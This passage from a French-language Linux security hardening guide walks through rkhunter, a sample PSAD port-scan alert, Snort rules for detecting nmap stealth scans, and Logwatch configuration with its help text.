- Mise à jour des propriétés du système de fichiers
# rkhunter --propupd
- Scan manuel
# rkhunter --check
- Logs
# cat /var/log/rkhunter.log
- Aide
# rkhunter --help
10. Détection d’intrusion
Modern Honey Network est une solution libre (https://github.com/threatstream/mhn) qui permet de créer un réseau de sondes de détection d’intrusion et de pots de miel.
10.1. PSAD
PSAD est un logiciel qui analyse les logs iptables en vue de détecter des tentatives de connexions, du scan de ports, etc.
Voici un courriel envoyé par PSAD :
=-=-=-=-=-=-=-=-=-=-=-= Sun Nov 27 06:57:21 2016 =-=-=-=-=-=-=-=-=-=-=-=
Danger level: [3] (out of 5) Multi-Protocol
Scanned TCP ports: [554: 1 packets]
TCP flags: [SYN: 1 packets, Masscan SYN scan]
iptables chain: INPUT (prefix "[UFW BLOCK]"), 1 packets
Source: 71.6.146.185
DNS: pirate.census.shodan.io
Destination: 10.2.145.69
DNS: [No reverse dns info available]
Overall scan start: Sun Aug 21 19:28:55 2016
Total email alerts: 289
Complete TCP range: [13-55554]
Complete UDP range: [19-53413]
Syslog hostname: mamach1
Global stats:
chain: interface: protocol: packets:
INPUT eth0 tcp 411
INPUT eth0 udp 66
[+] Whois Information (source IP):
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#
#
# Query terms are ambiguous. The query is assumed to be:
# "n 71.6.146.185"
#
# Use "?" to get help.
#
#
# The following results may also be obtained via:
# https://whois.arin.net/rest/nets;q=71.6.146.185?showDetails=true&showARIN=false&showNonArinTopLevelNet=false&ext=netref2
#
CariNet, Inc. NET-26 (NET-71-6-146-128-1) 71.6.146.128 - 71.6.146.191
CariNet, Inc. CARINET-5 (NET-71-6-128-0-1) 71.6.128.0 - 71.6.255.255
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#
=-=-=-=-=-=-=-=-=-=-=-= Sun Nov 27 06:57:21 2016 =-=-=-=-=-=-=-=-=-=-=-=
10.2. Snort
Installation de snort
# apt-get install snort
# snort --version
Configuration de snort
Vérifier le fichier /etc/snort/snort.conf
au niveau des variables et des règles activées.
Configuration des règles
Les règles sont placées dans /etc/snort/rules/
et doivent être appelées par un Include
dans le fichier /etc/snort/snort.conf
Nomenclature des règles
<Rule Actions> <Protocol> <Source IP Address> <Source Port> <Direction Operator> <Destination IP Address> <Destination > (rule options)
Détecter du trafic nmap
Source : https://asecuritysite.com/forensics/snort?fname=hping_fin.pcap&rulesname=rulesstealth.rules
# look for stealth port scans/sweeps
alert tcp any any -> any any (msg:"SYN FIN Scan"; flags: SF;sid:9000000;)
alert tcp any any -> any any (msg:"FIN Scan"; flags: F;sid:9000001;)
alert tcp any any -> any any (msg:"NULL Scan"; flags: 0;sid:9000002;)
alert tcp any any -> any any (msg:"XMAS Scan"; flags: FPU;sid:9000003;)
alert tcp any any -> any any (msg:"Full XMAS Scan"; flags: SRAFPU;sid:9000004;)
alert tcp any any -> any any (msg:"URG Scan"; flags: U;sid:9000005;)
alert tcp any any -> any any (msg:"URG FIN Scan"; flags: FU;sid:9000006;)
alert tcp any any -> any any (msg:"PUSH FIN Scan"; flags: FP;sid:9000007;)
alert tcp any any -> any any (msg:"URG PUSH Scan"; flags: PU;sid:9000008;)
alert tcp any any -> any any (flags: A; ack: 0; msg:"NMAP TCP ping!";sid:9000009;)
Capture générée : https://www.cloudshark.org/captures/2cbd9eaadf21
Lancement du démon
# snort -D -c /etc/snort/snort.conf -l /var/log/snort/
Vérification des alertes
# tail -f /var/log/snort/alert
10.3. Tripwire
…
11. Gestion des logs
11.1. Logwatch
Logwatch est un logiciel d’analyse et de rapports de logs.
Il s’installe avec cette commande :
yum -y install logwatch
La configuration se réalise dans le fichier :
/etc/logwatch/conf/logwatch.conf
Mais les paramètres par défaut se situent dans :
/usr/share/logwatch/default.conf/logwatch.conf
On peut utiliser la configuration par défaut :
cp /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/
et puis on peut générer le rapport :
logwatch
ou l’envoyer par courriel :
logwatch --mailto admin@domain.com
Voici l’aide du programme :
logwatch --help
Usage: /usr/sbin/logwatch [--detail <level>] [--logfile <name>] [--output <output_type>]
[--format <format_type>] [--encode <enconding>] [--numeric] [--no-oldfiles-log]
[--mailto <addr>] [--archives] [--range <range>] [--debug <level>]
[--filename <filename>] [--help|--usage] [--version] [--service <name>]
[--hostformat <host_format type>] [--hostlimit <host1,host2>] [--html_wrap <num_characters>]
--detail <level>: Report Detail Level - High, Med, Low or any #.
--logfile <name>: *Name of a logfile definition to report on.
--logdir <name>: Name of default directory where logs are stored.
--service <name>: *Name of a service definition to report on.
--output <output type>: Report Output - stdout [default], mail, file.
--format <formatting>: Report Format - text [default], html.
--encode <encoding>: Enconding to use - none [default], base64.
--no-oldfiles-log: Suppress the logwatch log, which informs about the
old files in logwatch tmpdir.
--mailto <addr>: Mail report to <addr>.
--archives: Use archived log files too.
--filename <filename>: Used to specify they filename to save to. --filename <filename> [Forces output to file].
--range <range>: Date range: Yesterday, Today, All, Help
where help will describe additional options
--numeric: Display addresses numerically rather than symbolically and numerically
(saves a nameserver address-to-name lookup).
--debug <level>: Debug Level - High, Med, Low or any #.
--hostformat: Host Based Report Options - none [default], split, splitmail.
--hostlimit: Limit report to hostname - host1,host2.
--hostname: overwrites hostname
--html_wrap <num_characters>: Default is 80.
--version: Displays current version.
--help: This message.
--usage: Same as --help.
* = Switch can be specified multiple times...